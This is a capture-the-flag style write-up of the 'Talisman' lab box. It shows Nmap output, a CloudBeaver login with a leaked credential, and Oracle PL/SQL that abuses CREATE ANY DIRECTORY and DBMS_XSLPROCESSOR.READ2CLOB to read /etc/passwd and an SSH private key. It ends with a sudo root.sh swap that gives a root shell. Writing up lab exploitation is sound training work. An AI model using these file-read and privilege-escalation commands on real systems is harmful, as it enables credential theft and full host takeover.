HackSmarter
Talisman
- Nmap
- SSH
- CloudBeaver (target web-based SQL console, abused for file read)
- Oracle PL/SQL (CREATE DIRECTORY, DBMS_XSLPROCESSOR.READ2CLOB)
- sudo privilege abuse
Target Information
| Property | Value |
|---|---|
| Target | 10.1.53.3 |
| Hostname | talisman.hsm |
| Platform | Linux (Oracle Database 21c XE host) |
Enumeration
Started with a leaked credential for the engagement.
jane : Greattalisman1!
Port Scan
Summary for 10.1.53.3:
22: SSH Banner: SSH-2.0-OpenSSH_8.0
Invalid SSH identification string.
8978: HTTP/1.1 400 Bad Request
Date: Tue, 27 Jan 2026 16:22:43 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 322
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 400 No URI</title>
</head>
<body>
<h2>HTTP ERROR 400 No URI</h2>
<table>
<tr><th>URI:</th><td>/badMessage</td></tr>
<tr><th>STATUS:</th><td>400</td></tr>
<tr><th>MESSAGE:</th><td>No URI</td></tr>
</table>
</body>
</html>
Running Nmap -A on 10.1.53.3: [22, 8978]
10.1.53.3:22 OPEN | SSH Banner: SSH-2.0-OpenSSH_8.0
Invalid SSH identification string.
10.1.53.3:8978 OPEN | HTTP/1.1 400 Bad Request
Date: Tue, 27 Jan 2026 16:22:43 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 322
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 400 No URI</title>
</head>
<body>
<h2>HTTP ERROR 400 No URI</h2>
<table>
<tr><th>URI:</th><td>/badMessage</td></tr>
<tr><th>STATUS:</th><td>400</td></tr>
<tr><th>MESSAGE:</th><td>No URI</td></tr>
</table>
</body>
</html>
[AGGRESSIVE] 10.1.53.3 ports [22, 8978]
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-27 16:31 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for talisman.hsm (10.1.53.3)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 9f:b0:53:1a:86:35:85:79:a3:d1:7b:27:d6:ec:51:d2 (RSA)
| 256 6e:cf:27:7c:e7:59:57:c4:3f:42:e2:c2:1f:ca:ba:90 (ECDSA)
|_ 256 d9:ae:da:6a:f4:c0:90:f0:03:01:bd:d8:e2:f6:82:f7 (ED25519)
8978/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Tue, 27 Jan 2026 16:32:28 GMT
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Type: text/html
| Expires: 0
| Content-Length: 6145
| <!doctype html>
| <html lang="en" dir="ltr" data-version="25.2.0.202509010904">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
| <meta content="text/html; charset=utf-8" />
| <link rel="manifest" href="/manifest.webmanifest" />
| <link rel="alternate icon" type="image/png" href="/favicon.png" sizes="16x16" />
| <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
| <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
| <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
| <link rel="prefetch" href="/icons/info_icon.svg" />
| <link rel="prefetch" href="/icons/info_icon_sm.svg" />
| <link rel="prefetch" href="
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 27 Jan 2026 16:32:28 GMT
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Date: Tue, 27 Jan 2026 16:32:28 GMT
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 349
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 505 Unknown Version</title>
| </head>
| <body>
| <h2>HTTP ERROR 505 Unknown Version</h2>
| <table>
| <tr><th>URI:</th><td>/badMessage</td></tr>
| <tr><th>STATUS:</th><td>505</td></tr>
| <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
| </table>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8978-TCP:V=7.95%I=7%D=1/27%Time=6978E888%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,18A8,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2027\x20Jan\x20
SF:2026\x2016:32:28\x20GMT\r\nCache-Control:\x20no-cache,\x20no-store,\x20
SF:must-revalidate\r\nContent-Type:\x20text/html\r\nExpires:\x200\r\nConte
SF:nt-Length:\x206145\r\n\r\n<!doctype\x20html>\n<html\x20lang=\"en\"\x20d
SF:ir=\"ltr\"\x20data-version=\"25\.2\.0\.202509010904\">\n\x20\x20<head>\
SF:n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n<meta\x20name=\"view
SF:port\"\x20content=\"width=device-width,\x20initial-scale=1,\x20shrink-t
SF:o-fit=no\"\x20/>\n<meta\x20content=\"text/html;\x20charset=utf-8\"\x20/
SF:>\n<link\x20rel=\"manifest\"\x20href=\"/manifest\.webmanifest\"\x20/>\n
SF:\n<link\x20rel=\"alternate\x20icon\"\x20type=\"image/png\"\x20href=\"/f
SF:avicon\.png\"\x20sizes=\"16x16\"\x20/>\n<link\x20rel=\"icon\"\x20type=\
SF:"image/png\"\x20sizes=\"32x32\"\x20href=\"/favicon-32x32\.png\"\x20/>\n
SF:<link\x20rel=\"icon\"\x20type=\"image/svg\+xml\"\x20href=\"/favicon\.sv
SF:g\"\x20/>\n<link\x20rel=\"apple-touch-icon\"\x20sizes=\"180x180\"\x20hr
SF:ef=\"/apple-touch-icon\.png\"\x20/>\n<link\x20rel=\"prefetch\"\x20href=
SF:\"/icons/info_icon\.svg\"\x20/>\n<link\x20rel=\"prefetch\"\x20href=\"/i
SF:cons/info_icon_sm\.svg\"\x20/>\n<link\x20rel=\"prefetch\"\x20href=\"")%
SF:r(HTTPOptions,66,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2027\x20Jan\
SF:x202026\x2016:32:28\x20GMT\r\nAllow:\x20GET,\x20HEAD,\x20OPTIONS\r\nCon
SF:tent-Length:\x200\r\n\r\n")%r(RTSPRequest,220,"HTTP/1\.1\x20505\x20HTTP
SF:\x20Version\x20Not\x20Supported\r\nDate:\x20Tue,\x2027\x20Jan\x202026\x
SF:2016:32:28\x20GMT\r\nCache-Control:\x20must-revalidate,no-cache,no-stor
SF:e\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x
SF:20349\r\n\r\n<html>\n<head>\n<meta\x20http-equiv=\"Content-Type\"\x20co
SF:ntent=\"text/html;charset=ISO-8859-1\"/>\n<title>Error\x20505\x20Unknow
SF:n\x20Version</title>\n</head>\n<body>\n<h2>HTTP\x20ERROR\x20505\x20Unkn
SF:own\x20Version</h2>\n<table>\n<tr><th>URI:</th><td>/badMessage</td></tr
SF:>\n<tr><th>STATUS:</th><td>505</td></tr>\n<tr><th>MESSAGE:</th><td>Unkn
SF:own\x20Version</td></tr>\n</table>\n\n</body>\n</html>\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X|5.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:5
Aggressive OS guesses: Linux 4.15 (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 5.4 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 153.22 ms 10.200.0.1
2 ...
3 156.29 ms talisman.hsm (10.1.53.3)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.60 seconds
Only two ports were open: SSH (22) and an unrecognized HTTP service on 8978.
SSH
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 9f:b0:53:1a:86:35:85:79:a3:d1:7b:27:d6:ec:51:d2 (RSA)
| 256 6e:cf:27:7c:e7:59:57:c4:3f:42:e2:c2:1f:ca:ba:90 (ECDSA)
|_ 256 d9:ae:da:6a:f4:c0:90:f0:03:01:bd:d8:e2:f6:82:f7 (ED25519)
Tried the leaked credentials against SSH directly.
ssh jane@10.1.53.3
The authenticity of host '10.1.53.3 (10.1.53.3)' can't be established.
ED25519 key fingerprint is: SHA256:fb+EpSRe4DP+R7cSRU4CnjhkAi73XezRQ38Eix6uU8k
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.53.3' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
jane@10.1.53.3's password:
Permission denied, please try again.
jane@10.1.53.3's password:
Permission denied, please try again.
jane@10.1.53.3's password:
The credentials didn’t work over SSH. The server prompted for a password rather than offering key-based auth, confirming password authentication was enabled and there was no matching key to try. Moved to the web service instead.
HTTP (8978)
8978/tcp open unknown
| fingerprint-strings:
Browsing to port 8978 presented a login prompt.
.png)
The leaked credentials authenticated successfully.
jane / Greattalisman1!
The application was a CloudBeaver instance managing a connection to an Oracle database, running as user Oracle on 127.17.0.1.
Initial Access
CloudBeaver exposed a SQL console against the connected Oracle database. Used it to enumerate the current database session before looking for a way to escalate out of it.
-- List all users
SELECT username FROM all_users;
SYS
AUDSYS
SYSTEM
SYSBACKUP
SYSDG
SYSKM
SYSRAC
OUTLN
REMOTE_SCHEDULER_AGENT
GSMADMIN_INTERNAL
GSMUSER
DIP
XS$NULL
DBSFWUSER
ORACLE_OCM
SYS$UMF
DGPDB_INT
DBSNMP
APPQOSSYS
GSMCATUSER
GGSYS
XDB
ANONYMOUS
OLAPSYS
WMSYS
OJVMSYS
CTXSYS
ORDSYS
ORDDATA
ORDPLUGINS
SI_INFORMTN_SCHEMA
DVSYS
MDSYS
MDDATA
LBACSYS
DVF
PDBADMIN
DEV
-- Current user
SELECT USER FROM dual;
DEV
-- All system privileges
SELECT * FROM session_privs;
SET CONTAINER
CREATE INDEXTYPE
CREATE OPERATOR
CREATE TYPE
DROP ANY DIRECTORY
CREATE ANY DIRECTORY
CREATE TRIGGER
CREATE PROCEDURE
CREATE SEQUENCE
CREATE CLUSTER
CREATE TABLE
CREATE SESSION
The connection authenticated to Oracle as DEV, a low-privileged development account. A few of its granted privileges stood out as abusable:
| Privilege | Description |
|---|---|
DROP ANY DIRECTORY |
Drop any Oracle directory object |
CREATE ANY DIRECTORY |
Create Oracle directory objects pointing to filesystem paths |
CREATE PROCEDURE |
Create PL/SQL procedures |
CREATE TRIGGER |
Possibly create triggers to execute malicious PL/SQL code |
CREATE SESSION, CREATE TABLE, CREATE TYPE, etc. |
Standard development access |
CREATE ANY DIRECTORY combined with Oracle’s directory-based file I/O functions meant arbitrary filesystem read was possible from inside the database.
RCE to Arbitrary File Read
SELECT * FROM all_directories;
SYS SDO_DIR_ADMIN /opt/oracle/product/21c/dbhomeXE/md/admin 1
SYS XMLDIR /opt/oracle/product/21c/dbhomeXE/rdbms/xml 1
SYS XSDDIR /opt/oracle/product/21c/dbhomeXE/rdbms/xml/schema 1
SYS ORACLE_OCM_CONFIG_DIR2 /opt/oracle/homes/OraDBHome21cXE/ccr/state 1
SYS ORACLE_OCM_CONFIG_DIR /opt/oracle/homes/OraDBHome21cXE/ccr/state 1
SYS ORACLE_BASE /opt/oracle 1
SYS ORACLE_HOME /opt/oracle/product/21c/dbhomeXE 1
SYS OPATCH_INST_DIR /opt/oracle/product/21c/dbhomeXE/OPatch 1
SYS DATA_PUMP_DIR /opt/oracle/admin/XE/dpdump/3DFB741D5D932C5AE065000000000001 1
SYS DBMS_OPTIM_LOGDIR /opt/oracle/product/21c/dbhomeXE/cfgtoollogs 1
SYS DBMS_OPTIM_ADMINDIR /opt/oracle/product/21c/dbhomeXE/rdbms/admin 1
SYS OPATCH_SCRIPT_DIR /opt/oracle/product/21c/dbhomeXE/QOpatch 1
SYS OPATCH_LOG_DIR /opt/oracle/homes/OraDBHome21cXE/rdbms/log 1
SYS JAVA$JOX$CUJS$DIRECTORY$ /opt/oracle/product/21c/dbhomeXE/javavm/admin/ 1
SYS EXT_DATA /opt/data 3
None of the existing directories pointed anywhere useful, but CREATE ANY DIRECTORY allowed defining a new one.
-- Create your own directory
CREATE OR REPLACE DIRECTORY MYDIR AS '/etc';
Status: Executed
Duration: 1156 ms
Updated Rows: 0
CREATE OR REPLACE DIRECTORY MYDIR AS '/etc'
Confirmed arbitrary directory creation worked, then used DBMS_XSLPROCESSOR.READ2CLOB to read a file through it.
-- Create directory and read a file (e.g /etc/passwd)
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
END;
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
sssd:x:996:993:User for sssd:/:/sbin/nologin
chrony:x:995:992::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
vboxadd:x:994:1::/var/run/vboxadd:/bin/false
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
oracle:x:54321:54321::/home/oracle:/bin/bash
superset:x:54322:54331::/home/superset:/bin/bash
/etc/passwd revealed two non-system accounts worth pursuing: oracle and superset. Tried reading oracle’s SSH private key next, since the database process itself runs as oracle.
Shell as Oracle
--read oracle id_rsa key
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/home/oracle/.ssh/''';
DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','id_rsa'));
END;
-----BEGIN OPENSSH PRIVATE KEY-----
[KEY CONTENT OMITTED FOR BREVITY — FULL KEY PRESERVED IN ORIGINAL INVESTIGATION]
-----END OPENSSH PRIVATE KEY-----
Recovered oracle’s SSH private key directly through the arbitrary-read primitive. Used it to authenticate over SSH.
ssh -i oracle_id_rsa oracle@10.1.53.3
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Tue Jan 27 11:12:15 2026
[oracle@talisman ~]$ id && whoami
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba),54323(oper),54324(backupdba),54325(dgdba),54326(kmdba),54330(racdba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
oracle
Enumeration as Oracle
sudo -l
Matching Defaults entries for oracle on talisman:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User oracle may run the following commands on talisman:
(ALL) NOPASSWD: /opt/oracle/product/21c/dbhomeXE/root.sh
oracle could run root.sh as any user with no password. Checked whether the binary or its directory were writable.
ls -la /opt/oracle/product/21c/dbhomeXE/root.sh
-rwx------. 1 root oinstall 507 Aug 18 2021 /opt/oracle/product/21c/dbhomeXE/root.sh
ls -la /opt/oracle/product/21c/dbhomeXE/
total 96
drwxrwxr-x. 61 oracle oinstall 4096 Jan 27 11:14 .
drwxrwxr-x. 3 oracle oinstall 22 Sep 4 10:07 ..
root.sh itself wasn’t writable by oracle, but its parent directory was (oracle:oinstall, group-writable) — enough to replace the file entirely regardless of its own permissions.
Privilege Escalation to Root
cd /opt/oracle/product/21c/dbhomeXE
mv root.sh root.sh.backup
echo -e '#!/bin/bash\n/bin/bash -i' > root.sh
chmod +x root.sh
sudo /opt/oracle/product/21c/dbhomeXE/root.sh
Replaced root.sh with an interactive shell and ran it via the NOPASSWD sudo rule.
whoami
root
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
cat /root/root.txt
e4cc22ed781b02e04ae46f82f354efae
Dropped to a root shell and read the flag.
Attack Path Summary
Leaked credential jane:Greattalisman1! failed over SSH (password auth only)
↓
Same credential authenticated to a CloudBeaver instance on port 8978
↓
CloudBeaver's SQL console was connected to Oracle DB as user DEV
↓
DEV held CREATE ANY DIRECTORY — abused via DBMS_XSLPROCESSOR.READ2CLOB for arbitrary file read
↓
Read /etc/passwd, identifying the oracle and superset OS accounts
↓
Read oracle's SSH private key (/home/oracle/.ssh/id_rsa) through the same primitive
↓
SSH'd in as oracle using the recovered key
↓
sudo -l showed NOPASSWD access to /opt/oracle/product/21c/dbhomeXE/root.sh
↓
root.sh itself wasn't writable, but its parent directory was — replaced the script with an interactive shell
↓
Ran root.sh via sudo, dropping to a root shell
↓
Read /root/root.txt
Credentials Found
| Principal | Credential | Source |
|---|---|---|
jane |
Greattalisman1! |
Leaked credential (engagement-provided); failed over SSH, valid on CloudBeaver web login |
oracle |
SSH private key (id_rsa) |
Read via Oracle DBMS_XSLPROCESSOR.READ2CLOB arbitrary file read against /home/oracle/.ssh/id_rsa |
root |
/root/root.txt → e4cc22ed781b02e04ae46f82f354efae |
sudo NOPASSWD root.sh replaced with an interactive shell |
Tools Used
- Nmap
- SSH
- CloudBeaver (target web-based SQL console, abused for file read)
- Oracle PL/SQL (
CREATE DIRECTORY,DBMS_XSLPROCESSOR.READ2CLOB) - sudo privilege abuse